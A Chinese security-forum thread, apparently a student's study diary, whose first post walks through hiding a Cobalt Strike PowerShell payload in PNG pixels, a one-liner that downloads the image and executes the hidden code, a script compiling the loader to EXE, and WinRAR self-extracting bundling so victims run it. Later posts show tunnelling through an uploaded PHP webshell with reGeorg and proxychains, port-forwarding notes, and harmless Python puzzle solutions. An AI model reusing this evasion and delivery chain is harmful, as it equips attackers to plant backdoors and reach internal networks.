安全矩阵

 找回密码
 立即注册
搜索
查看: 14485|回复: 56

程栋的学习日记

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-10-8 20:33:35 | 显示全部楼层 |阅读模式
本帖最后由 CDxiaodong 于 2022-3-12 14:57 编辑


​​
只发技术性的学习、原创或者复现的文章
水印是csdn富文本的原因
(复现)免杀|利用RGB隐写隐藏Shellcode   
看了这篇文章
可以利用RGB隐写shellcode
不禁展开了思考,就如misc里面多种隐写方式(二进制改压缩包;图片修改解析新的图片码;snowfall等多个不规则编码带编码源件加以解析),不知道能不能配合shell进行免杀修改,配合常规免杀,如果可以,这也不失为一个好方法。由此对这篇文章产生了极大兴趣,并对此进行复现
将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。

需要使用 Invoke-PSImage 工具:
•项目地址:https://github.com/peewpw/Invoke-PSImage
首先使用 Cobalt Strike 生成 Powershell 类型(.ps1)的



然后将刚才生成的 payload.ps1 文件放在 Invoke-PSImage 项目内,再准备一张图片用于生成一张带有 Shellcode 的图片,二者与 Invoke-PSImage.ps1 文件在同一目录:
打开poweshell执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:
# 设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
# 导入 Invoke-PSimage.ps1 文件
Import-Module .\Invoke-PSimage.ps1
# 生成带有 Shellcode 的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\2.jpg -Out .\shell.png -Web
报错。原因是我直接用的jiff改为jpg图片,导致索引超出数组界限

重新上传一个真正的任意jpg图片即可
运行命令
运行之后得到一串代码
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 4000;(0..3)|%{foreach($x in(0..999)){$p=$g.GetPixel($x,$_);$o[$_*1000+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3245]))
并得到shell.Png图片

接着,我们在自己的 VPS 上开启一个 Web 服务,用于托管得到的 shell.png:

然后将上面得到的代码中的 http://example.com/shell.png 改为我们自己的 Web 服务地址:

在目标主机上执行这段代码后目标机成功上线


我们还可以将上面那段加载的命令编译生成可执行文件,这里我们直接使用网上找的脚本进行编译:
•Convert-PS1ToExe.ps1
function Convert-PS1ToExe{    param(    [Parameter(Mandatory=$true)]    [ValidateScript({$true})]    [ValidateNotNullOrEmpty()]       [IO.FileInfo]$ScriptFile    )    if( -not $ScriptFile.Exists)    {        Write-Warning "$ScriptFile not exits."        return    }     [string]$csharpCode = @'    using System;    using System.IO;    using System.Reflection;    using System.Diagnostics;    namespace LoadXmlTestConsole    {        public class ConsoleWriter        {            private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)            {                Process pro = sender as Process;                Console.WriteLine(e.Data);            }            static void Main(string[] args)            {                // Set title of console                Console.Title = "Powered by PSTips.Net";                 // read script from resource                Assembly ase = Assembly.GetExecutingAssembly();                string scriptName = ase.GetManifestResourceNames()[0];                string scriptContent = string.Empty;                using (Stream stream = ase.GetManifestResourceStream(scriptName))                using (StreamReader reader = new StreamReader(stream))                {                    scriptContent = reader.ReadToEnd();                }                 string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));                try                {                    // output script file to temp path                    File.WriteAllText(scriptFile, scriptContent);                     ProcessStartInfo proInfo = new ProcessStartInfo();                    proInfo.FileName = "PowerShell.exe";                    proInfo.CreateNoWindow = true;                    proInfo.RedirectStandardOutput = true;                    proInfo.UseShellExecute = false;                    proInfo.Arguments = string.Format(" -File {0}",scriptFile);                     var proc = Process.Start(proInfo);                    proc.OutputDataReceived += Proc_OutputDataReceived;                    proc.BeginOutputReadLine();                    proc.WaitForExit();                    Console.WriteLine("Hit any key to continue...");                    Console.ReadKey();                }                catch (Exception ex)                {                    Console.WriteLine("Hit Exception: {0}", ex.Message);                }                finally                {                    // delete temp file                    if (File.Exists(scriptFile))                    {                        File.Delete(scriptFile);                    }                }             }         }    }'@     # $providerDict    $providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'    $providerDict.Add('CompilerVersion','v4.0')    $codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict     # Create the optional compiler parameters    $compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'    $compilerParameters.GenerateExecutable = $true    $compilerParameters.GenerateInMemory = $true    $compilerParameters.WarningLevel = 3    $compilerParameters.TreatWarningsAsErrors = $false    $compilerParameters.CompilerOptions = '/optimize'    $outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"    $compilerParameters.OutputAssembly =  $outputExe    $compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null    $compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null     # Compile Assembly    $compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)     # Print compiler errors    if($compilerResult.Errors.HasErrors)    {        Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red        $compilerResult.Errors | foreach {            Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )        }    }    else    {         Write-Host 'Compile succeed.' -ForegroundColor Green         "Output executable file to '$outputExe'"    }}

首先将那段用于加载 Shellcode 的命令写入文件 Loader.ps1 中:



然后执行以下命令,使用 Convert-PS1ToExe.ps1 将 Loader.ps1 编译成 EXE:
Import-Module .\Convert-PS1ToExe.ps1
Convert-PS1ToExe -ScriptFile .\Loader.ps1

将生成的 exe.jpg 上传到目标主机并执行

如上图所示,目标机成功上线。美中不足的是有个弹窗。
使用远程加载固然方便,但是由于生成的图片非常大,远程加载所耗的时间较长,所以我们可以尽可能的本地加载。
本地加载在对方机器放置整合包(能直接exe执行改shell)执行以下命令即可生成一个带有 Shellcode 的图片 shell.png:
# 设置执行策略Set-ExecutionPolicy Unrestricted -Scope CurrentUser# 导入 Invoke-PSimage.ps1 文件Import-Module .\Invoke-PSimage.ps1# 生成带有 Shellcode 的图片Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png
如上图所示,生成了包含 Shellcode 的图片 shell.png 与加载 Shellcode 使用的代码
执行上面的命令,在本地加载图片里的 Shellcode:
上线后
下面,我们将这种本地加载中的加载命令也用之前的方式编译成可执行文件:

此时执行 Loader.exe 便可以加载 shell.png 中的 Shellcode,但二者必须在同一目录下。为了方便,我们还需要完善一下。
这里我们参考使用 WinRAR 自解压捆绑木马的思路,将 shell.png 和 Loader.exe 压缩在一起,并设置成自解压格式,那么当用户运行时,二者便会被解压到相同的目录并自动执行 Loader.exe。
首先,选中这两个文件,鼠标右键,将这两个文件添加到压缩文件。点击 “创建自解压格式压缩文件”,此时rar就会变成 exe 后缀的文件:
接下来这个方法值得深究一番(给它改成exe。Dll。Pyc等啥文件)
然后点击“高级”—>“自解压文件选项”—>“常规”

设置解压后文件的存储路径为 C:\WINDOWS\Temp



最后点击确定,即可生成一个 Desktop.exe 的文件:

运行 Desktop.exe 即可成功上线


回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 20:35:47 | 显示全部楼层
11312312312312321
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 20:42:48 | 显示全部楼层
因为用的csdn富文本  所以会有水印
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 20:44:42 | 显示全部楼层

使用porttunnel

准备两台可以互通的电脑

B:49.235.226.125

C:123.60.85.184

以及本地ipA

A可以通B和C

B可以通C不能通A

C可以通B不能通A

其实再在实际应用中是A只能通B,B只能通C’

然后C不出网,然后B将C、

发给A使得



设置成这样4321是B主机对外端口 对外主机白名单不限制

80是C的apache服务器端口

网站打开Bip:4321



 

成功转发

下面是一些:porttunnel手册

** [ 主要的一些选项 ] **

对外绑定地址/端口: PortTunnel监听的地址/端口。

映射目标地址/端口: 将要映射到的服务器地址/端口。

包含统计在总的状态中(标题栏): 将本映射的连接信息、传入速度、传出速度加入总的连接 信息中,并显示在主窗口标题中。

** [ IP 安全选项 ] ** 主窗口中的内容是允许或禁止的IP地址列表,如果这个列表很长,可以在下面输入IP地址, 点击查找即可寻找到包含输入IP地址的行。

处理无效IP的方法有三种: 禁止-取消此次访问 重定向-如果端口和地址不为空则重定向到指定的地址和端口 无回应-对客户端的请求不回应使之超时(不推荐这样做)

允许/禁止IP地址列表的设置方法: 可以使用外部文件来定义允许/禁止IP地址,只要增加以下内容:

i,c:\valid_ips.txt

然后建立文件 c:\valid_ips.txt,文件内容为允许/禁止的IP地址,例如:

y,127.0.0.1

y,12.34.56.78

n,*

等等...

PortTunnel每30秒会自动检测外部定义文件的改变(每30秒一次),然后自动调入新的内容。 你可以利用Perl或其它程序来改变外部定义文件的内容已达到自己的目的,你甚至可以在定义 文件中嵌套其它的定义文件,下面的例子说明了这种灵活性: ----- [start example] ----- ----- [in ftp port mapping IP security tab] ----- i,c:\ftp_valid_ips.txt ----- [end] ----- ----- [in irc port mapping IP security tab] ----- i,c:\irc_valid_ips.txt ----- [end] ----- ----- [in file c:\ftp_valid_ips.txt] ----- i,c:\global_ban_list.txt y,34.56.78.99 // a friend I let use ftp i,c:\global_ok_list.txt n,* ----- [end] ----- ----- [in file c:\irc_valid_ips.txt] ----- i,c:\global_ban_list.txt y,12.45.12.45 // a friend I let use irc i,c:\global_ok_list.txt n,* ----- [end] ----- ----- [in file c:\global_ok_list.txt] ----- y,66.66.66.66 // a friend I let use every thing ----- [end] ----- ----- [in file c:\global_ban_list.txt] ----- n,33.44.66.77 // a lamer I hate ---- [end] ----- ----- [end example] ----- IP安全选项中有详细的定义允许/禁止IP地址的方法。

** [ HTTP 有关选项 ] ** 使用HTTP代理服务器: 通过HTTP代理服务器来映射。 举例来说,你在单位需要通过HTTP代理上网,若想访问IRC服务器,则需如下设置: 1. 建立一个端口映射: 127.0.0.1:6667 映射到你的单位的HTTP代理服务器,如: proxy.company.local:8080 2. 勾选“使用HTTP代理服务器”,并输入你想访问的IRC服务器地址,如: ircserver.ircnetwork.net:6667 3. 设置你的IRC客户端程序访问地址 127.0.0.1:6667 注: 如果你单位的代理服务器禁止了IRC端口,那就没有办法来访问外部的IRC服务器。

代理服务器口令: 若代理服务器需要身份验证,请在此输入

修改端口号: 如果PortTunnel监听端口和映射到的端口不一致则需要勾选此项,例如, 映射从 localhost:81 到 host1:82 客户端发送 GET http://test.server:81/folder HTTP/1.1 Host: test.server PortTunnel 将端口改为 GET http://test.server:82/folder HTTP/1.1 Host: test.server:88 然后 IIS 会返回 HTTP/1.0 302 Moved Temporarily Location: http://test.server:82/folder/ PortTunnel 将返回内容中的端口改为 HTTP/1.0 302 Moved Temporarily Location: http://test.server:81/folder/ 这样做便不会导致HTTP的访问错误。

加入 X-Client-Address 到请求报文: 在HTTP请求中增加下列内容 X-Client-Address: aab.bbb.ccc.ddd 这有助于某些日志程序正确记录访问地址

** [ FTP 有关选项 ] ** 传送'PORT' 与 'PASV' 命令:勾选此项有助于FXP文件传输,或通过代理服务器访问FTP的 客户端正确连接FTP服务器。

使用替换地址用于PASV回应: 若你的FTP服务器在网络防火墙之后或经过了地址转换,则需 在勾选并填写公用的外部IP地址。

只对不在同一个C类网络的客户端采取以上替换: 若在同一网络之内则无需替换。

使用下列端口范围用于PASV模式: 限制PASV使用的端口范围。

加入 IDNT: 如果FTP服务器支持IDNT则勾选。RaidenFTPD需要在 .ftpd 文件中增加:

BOUNCERIP = “PortTunnel 正在运行的机器的IP地址”

** [ SMTP 有关选项 ] ** smtp 快速设置: 1. 打开 “SMTP 接收筛选” 2. 增加所有需支持的域名,例如

    y,mydomain.tld

    y,another.domain.that.I.host

3. 增加信任的外部地址,例如 y,127.0.0.1 // localhost y,192.168.* // lan y,myfriend 4. 若需要 POP3 身份验证则 在 “通过筛选则” 中选择 “SMTP通过POP3服务器进行身份校验” 输入POP3地址和断口

下面是具体的 RCPT_TO 控制程序:

if (SMTP_FILTER) { ip_check_result = Lookup_IP_In_SMTP_SourceIP_List(...); if (ip_check_result=='n') goto smtp_blocked; dest_domain_check_result = Lookup_dest_domain_in_SMTP_DestDomain_List(...); if (dest_domain_check_result=='n') goto smtp_blocked; if (ip_check_result=='y') goto smtp_ok; if (smtpauth_succeeded) goto smtp_ok; } if (SMTP_ANTISPAM_CHECK) { if (test_for_IP_in_antispam_rbl(...)) goto smtp_blocked; } if (SMTP_FILTER) { if (dest_domain_check_result=='y') goto smtp_ok; if (SMTP_AFTERFILTER_AUTH) { if (smtpauth_succeeded) goto smtp_ok; else goto smtp_blocked; } if (SMTP_AFTERFILTER_ALLOW) goto smtp_ok; if (SMTP_AFTERFILTER_BLOCK) goto smtp_blocked; }

** [ SMTP AntiVirus&Misc options (licensed only)] ** AntiVirus: Scan with Sophos

AntiVirus: Scan with AVG (Removed since Grisoft won't support me)

Misc: Add Recieved Header: Sample: Received: from <helo> ([<ip>])\r\n\tby <thishost> with PortTunnel;\r\n\t<datetime>\r\n Options: <datetime> rfc822 date+time <ip> remote ip <helo> helo/ehlo <thishost> hostname that porttunnel is running on <mailfrom> <rcptto> ** [ end SMTP AntiVirus&Misc options ] **

** [ SSL 有关选项 ] ** read all the legal stuff about openssl on www.openssl.org, and make sure you are allow to do this first .... :-)

[old] download http://www.modssl.org/contrib/openssl-0.9.6c-win32.zip [old] and place libeay32.dll and ssleay32.dll in the same folder as [old] porttunnel.exe. If the files are found the message 'OpenSSL not found' [old] is replaced by the OpenSSL version found and its release date.

[new] openssl 0.9.7 dlls are now included in the standard msi of PortTunnel [new] Note: the 0.9.6 dlls will not work with porttunnel anymore.

connection from client to porttunnel: the following values are for connections between a client, e.g. a webbrowser, and porttunnel.

connection from porttunnel to server: the following values are for connections between porttunnel and a server, e.g. a werbserver.

note: if the connection from the server is already encrypted and the client should use the servers encryption and server certificates, you should choose the encryption method none at this point, to keep the original encryption.

method: choose an encryption methode out of none, ssl v2, ssl v3, ssl v2/3, tls v1.

ciphers: choose some ciphers out of EXPORTSTRENGTH and ALLSTRENGTH or enter others by yourself (further information at www.openssl.org).

certificate: enter the FULL PATH to your certificate file and choose the correspondending format from the listbox. Please make sure the security (under NTFS) is set right.

key: enter the FULL PATH to your key file and choose the correspondending format from the listbox. Please make sure the security (under NTFS) is set right. If the key is stored in the certificate file, you can leave this field blank.

password: if the private key has a password, enter it here. you can also remove the password out of the key file by entering "openssl rsa -in key.pem -out key.pem". this process needs you to enter the password once.

how to make a "self signed" certificate: grab openssl.exe from the above zip or compile it from the source on www.openssl.org place it, and the two dlls in a folder along with openssl.cnf (grabbed from the source tar on openssl.org)

openssl req -new -x509 -newkey rsa:1024 -nodes -days 9999 -config openssl.cnf -out steelbytes.pem -keyout steelbytes.pem

    Country Name (2 letter code) []: AU

    State or Province Name (full name) []: Victoria

    Locality Name (eg, city) []: Melbourne

    Organization Name (eg, company) []: www.SteelBytes.com

    Organizational Unit Name (eg, section) []:

    Common Name (eg, YOUR name) []: *.steelbytes.com

    Email Address []:

how to then test it:

openssl s_server -accept 443 -cipher ALLSTRENGTH -www -bugs -cert steelbytes.pem

start https://www.steelbytes.com/

notes: * Internet Explorer seems to preffer SSL v2/3 * I don't currently distribute compiled versions of the openssl dll files for legal reasons (I've gotta look into if it's ok in Australia) * tested with, 0.9.6c dlls from modssl.org, and 0.9.6d (compiled with VS.NET) * Refer to the following URL to learn how to get your MS IIS keys working with openssl (replace ssleay through openssl there): http://www.thawte.com/support/server/msiis4.html#iistossl * Refer to the following URL to learn more about the pem format in conjunction with ssl certs bought from a CA: http://www.thawte.com/support/server/apachessl.html#pemcert

** [ 日志文件和状态选项 ] ** 日志: 将连接信息写入日志文件,可以包含错误信息、警告信息、连接信息以及全部信息。

记录所有数据: 将所有传入、传出数据全部记录到指定的目录内,每个连接建立一个文件。

记录连接状态: 将连接信息(连接数、禁止数、数据量等)写入文件。

日期格式: d Day of month as digits with no leading zero for single-digit days dd Day of month as digits with leading zero for single-digit days. ddd Day of week as a three-letter abbreviation. dddd Day of week as its full name. M Month as digits with no leading zero for single-digit months. MM Month as digits with leading zero for single-digit months. MMM Month as a three-letter abbreviation. MMMM Month as its full name. y Year as last two digits, but with no leading zero for years less than 10. yy Year as last two digits, but with leading zero for years less than 10. yyyy Year represented by full four digits. gg Period/era string. This element is ignored if the date to be formatted does not have an associated era or period string. For example, to the following Wed, Aug 31 94 use the following string dd',' MMM dd yy

时间格式: h Hours with no leading zero for single-digit hours; 12-hour clock hh Hours with leading zero for single-digit hours; 12-hour clock H Hours with no leading zero for single-digit hours; 24-hour clock HH Hours with leading zero for single-digit hours; 24-hour clock m Minutes with no leading zero for single-digit minutes mm Minutes with leading zero for single-digit minutes s Seconds with no leading zero for single-digit seconds ss Seconds with leading zero for single-digit seconds t One character time marker string, such as A or P tt Multicharacter time marker string, such as AM or PM For example, to get the following 11:29:40 PM use the following string hh':'mm':'ss tt

** [ 其它选项 ] ** 启用空闲自动断开: 客户端空闲自动断开的连接时间(秒)

启用每个连接传入/出速度限制(KB/s): 每个连接的最大使用带宽

启用每个映射传入/出速度限制(KB/s): 每个(当前)映射的最大使用带宽

缓冲区大小(KB): 然感觉PortTunnel影响了吞吐量(连接数巨大时),则试着增加缓冲区

同时连接数限制: 当前映射的最大同时连接数量

每个IP的同时连接数限制: 每个IP的最大同时连接数量

回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 20:48:17 | 显示全部楼层



 ​

拿到了别的系统的shell

那就顺便利用它来做个内网隧道搭建吧

前面在本地学习了其他隧道搭建

现在学习的是利用reGeorg来进隧道搭建



 根目录上传tunnel.nosocket.php进去,链接成功打开

 

这在打通内网需要高权限才能操作

启动reGeorg python reGeorgSocksProxy.py -p 1090 -u http://122.114.199.244/tunnel.nosocket.php 表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

 配置代理 然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php) proxychains curl http://122.144.199.244

 

 reGeorg控制端



 

​​
这次护网的时候信息收集错了

拿到了别的系统的shell

那就顺便利用它来做个内网隧道搭建吧

前面在本地学习了其他隧道搭建

现在学习的是利用reGeorg来进隧道搭建



 根目录上传tunnel.nosocket.php进去,链接成功打开

 

这在打通内网需要高权限才能操作

启动reGeorg python reGeorgSocksProxy.py -p 1090 -u http://122.114.199.244/tunnel.nosocket.php 表示本地1090端口的流量都转发给指定的那个url,1090是指定的监听端口;

 配置代理 然后配置proxychains代理链的配置文件vim /etc/proxychains.conf,将代理设置成本机的1090端口:socks5 127.0.0.1 1090命令前面加上proxychains 运行命令,(跳板机php环境已启动,存在主页index.php) proxychains curl http://122.144.199.244

 

 reGeorg控制端



 



回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 21:03:08 | 显示全部楼层
虽然刷了十多页的ctf,其实两个月没刷了前五十名也卡在外面,但是主要的是在上次比赛的时候发现我对于python这方面特别欠缺技术,对于题目有自己的想法却没办法去自己写代码实现他,只能拜托学长帮忙,还有两周就是赣网杯了。短期目标:
1.学好python脚本,知道能够自我通过脚本去完成buu的那些比较难的题
2.完成老师给的15
3.多做创新的或者复现等文章,为真正做好作业16做铺垫
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-8 21:04:52 | 显示全部楼层
,国庆真的懈怠了        要讲究高效率

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

251

主题

270

帖子

1797

积分

金牌会员

Rank: 6Rank: 6

积分
1797
发表于 2021-10-8 21:18:56 | 显示全部楼层
呜呜呜程栋学长太强了
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-10-13 18:27:02 | 显示全部楼层
本帖最后由 CDxiaodong 于 2021-10-19 19:47 编辑

​​​​觉得python这方面的技术我十分的欠缺,光看书是不够的,还需要配合动手,不经会吃饭还要会做饭

在网上浏览时我看到了这个网站


专门练习python的解谜网站,听说练完python技术会有质的飞跃。那我就定个目标,在一个工作周内搞定它

配合书的使用

第0题就不用写了,比较简单

0x01

![image-20211010095931702](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010095931702.png)


凯撒加密(提示)

写一个代码

```python
text = "g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp.\n" + \
           "bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle.\n" + \
           "sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj."
in_table = "abcdefghijklmnopqrstuvwxyz"
out_table = "cdefghijklmnopqrstuvwxyzab"
trans_table = str.maketrans(in_table, out_table)
text = text.translate(trans_table)
print(text)
```

![image-20211010100519828](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010100519828.png)

根据凯撒密码把网址后缀列移位两位即可

0x02

![image-20211010100735415](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010100735415.png)

源代码找到一些乱码

通过正则表达式查找有效字符

需要用到re库

![image-20211010101414736](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010101414736.png)

这样

输出结果equality

0x03

来到第三题

![image-20211010101559357](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010101559357.png)

看像是解密

即一个小写字母,其左右各有“恰好”三个大写字母环绕,即寻找形如“AAAaAAA”的字符串

源代码里面有个字符串

即是从这个字符串里面找出类似各个字母‘a’然后拼出来



![image-20211010102928008](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010102928008.png)

![image-20211010102935222](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010102935222.png)

这样的话找出了这么多字符

原来要寻找形如“AAAaAAA”的字符串,但“AAAAaAAA”和“AAAaAAAA”不满足条件

需要筛选

最终代码如下

```python
data = "\n" + data + "\n"
pattern_0 = r"[A-Z]{3}([a-z])[A-Z]{3}"
pattern_1 = r"[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]"
pattern_2 = r"[a-z][A-Z]{3}[a-z][A-Z]{3}\n"
pattern_3 = r"\n[A-Z]{3}[a-z][A-Z]{3}[a-z]"
letters_list = re.findall(rf"{pattern_1}|{pattern_2}|{pattern_3}", data)
letters = '\n'.join(letters_list)
letters_list = re.findall(rf"{pattern_0}", letters)
letters = ''.join(letters_list)
print(letters)
```

![image-20211010103150009](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010103150009.png)

0x04  网络爬虫

源代码给了提示

![image-20211010103358101](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010103358101.png)

本关考察Python的网络爬虫,首先根据提示将“linkedlist.html”改成“linkedlist.php”。网页源代码中提示,以“nothing=12345”为参数构造请求,即图片超链接到的页面,新页面显示“and the next nothing is 44827”。

使用urllib构造爬虫程序

![image-20211010104559005](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010104559005.png)

![image-20211010104613565](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010104613565.png)

还要再爬一次

```python
from urllib import request
nothing = "12345"
epoch = 0
while True:
    epoch += 1
    url = f"http://www.pythonchallenge.com/pc/def/linkedlist.php?nothing={nothing}"
    response = request.urlopen(url)   #网站内容响应包
    text = response.read().decode()   #对网站的内容进行读写
    print(f"{epoch:3}\t{url}\n\t{text}")
    nothing = str(text.split(' ')[-1])
```

最后得到peak.html

0x05

Python的pickle模块,根据提示,“peak hell”的发音类似“pickle”,在网页源代码中下载文件“banner.p”,注意要直接“另存为”,不要复制粘贴到文件,否则可能会有问题

使用pickle模块解包

![image-20211010110655978](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010110655978.png)

![image-20211010110702479](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010110702479.png)

发现是一些表

列表中每行数字之和都是95,结合文件名“banner”,,把表的字符对应的位置用*号打出来打印出一个横幅

```python
import pickle
with open("banner.p", "rb") as file:
    data_list = pickle.load(file)
    for line_list in data_list:
        for item_tuple in line_list:
            char, num = item_tuple
            print(char * num, end='')
        print()
```

![image-20211010111354234](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010111354234.png)

得到英文字符channel

0x06

提示我们购物zipfile

修改网页后缀得到zip文件

解压文件后有个提示

hint1: start from 90052
hint2: answer is inside the zip

“根据提示2,答案就在压缩包内,其实是每个文件的注释(comment)

用zipfile模块从“90052.txt”开始遍历,同时保存每个文件的注释,并打印出来

![image-20211010114848271](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010114848271.png)

点开这个后缀的网址,得到oxygen

0x07

本题是利用这个PIL库

![image-20211010115435284](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010115435284.png)

图片中间有一条灰色的带状区域,类似于条形码,其中隐藏着信息。每一个小块的宽度都是7个像素,每一小块中的所有像素点是同一个颜色,且RGB分量一样,例如第一块的RGBA数据值是(115, 115, 115, 255),115对应的ASCII字符是‘s’。将每一小块的字符拼接起来

```python
from PIL import Image
im = Image.open("oxygen.png")
char_list = []
for width in range(0,629,7):              #总共横向有629个像素,用循环来取间隔为7的像素
    pixel = im.getpixel((width,im.height / 2)) #将RGBA数值取出且取两次
    char = chr(pixel[0])                  #  #对上述数值定义转成字符
    char_list.append(char)                 #再char表中附加每个循环的char值
    print(f"{width:3d}\t{str(pixel):20s}\t{char}")
print(''.join(char_list))
```

![image-20211010152839092](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010152839092.png)

得到这些

“/2”代表着运行两次  因为im.getpixel()括号内只能有两个字符值

那为什么那个 pixel要运行两次呢?

这就和RGBA数值以及char的定义有关系了,前三个代表这个颜色的RGB值,

后面的数字代表透明度,范围在0-1之间

如果运行一次的话,没有满足三个值,只有两个值,所以运行两次,但是第四个值再RGBA里面是透明度的意思,这个透明度只在0到1之间,我想可能是因为PIL库对此没有定义,所以都为255

转ascii码 得到 integrity



0x08

需要输入账号密码

![image-20211010155625599](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010155625599.png)

这明显就是加密的题目

两个比特流是以“BZ”开头的,这是经bzip2压缩后的数据,直接使用bz2模块解码即可。

```python
import bz2
un = b'BZh91AY&SYA\xaf\x82\r\x00\x00\x01\x01\x80\x02\xc0\x02\x00 \x00!\x9ah3M\x07<]\xc9\x14\xe1BA\x06\xbe\x084'
pw = b'BZh91AY&SY\x94$|\x0e\x00\x00\x00\x81\x00\x03$ \x00!\x9ah3M\x13<]\xc9\x14\xe1BBP\x91\xf08'
username = bz2.decompress(un).decode()
password = bz2.decompress(pw).decode()
print(f"username = {username}\npassword = {password}")
```

![image-20211010160251345](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010160251345.png)



0x09

![image-20211010160532959](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010160532959.png)

本关考察Python的PIL模块,网页源代码中有两组数据,根据提示需要连点成线。这两组数据分别对应两个图形,每组数据表述一系列点的坐标,写得清楚一点就是

first = [(146, 399), (163, 403), (170, 393), ……, (146, 399)]
second = [(156, 141), (165, 135), (169, 131), ……, (156, 136)]
![image-20211010162137405](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010162137405.png)

```python
from PIL import  Image,ImageDraw
im = Image.new("RGBA",(500,500),"#FFFFFF")  #FFFFFF是将底片设置为了白色
draw = ImageDraw.Draw(im)
draw.line(first, fill="#000000")            #0000000,即将fill值设置成了黑色
draw.line(second, fill="#000000")
im.save("1.png")
```

![image-20211010162207254](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010162207254.png)





得到答案 null牛

0x10

![image-20211010162743219](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010162743219.png)

本关主要是解谜,点击图片中的公牛,得到一个序列

a = [1, 11, 21, 1211, 111221, ……

后一个数字是对前一个数字的解释,具体来说就是:
①“1”是初始值;
②“1”有“1个1”,得到“11”;
③“11”有“2个1”,得到“21”;
④“21”有“1个2+1个1”,得到“1211”;
⑤“1211”有“1个1+1个2+2个1”,得到“111221”;
在求出第三十个的长度

```python
pre_string = "1"
for k in range(31):
        print(f"{k}\t{len(pre_string):4d}\t{pre_string}")
        cnt_string = ""
        char = pre_string[0]
        pos = 0
        for i, c in enumerate(pre_string):
            if c == char:
                continue
            cnt_string += f"{i - pos}{char}"
            char = c
            pos = i
        cnt_string += f"{len(pre_string) - pos}{char}"
        pre_string = cnt_string
```

![image-20211010165138283](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010165138283.png)

得到5808



0x11

![image-20211010170415269](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010170415269.png)

放大图片,可以看到黑色像素和彩色像素是间隔排列的。

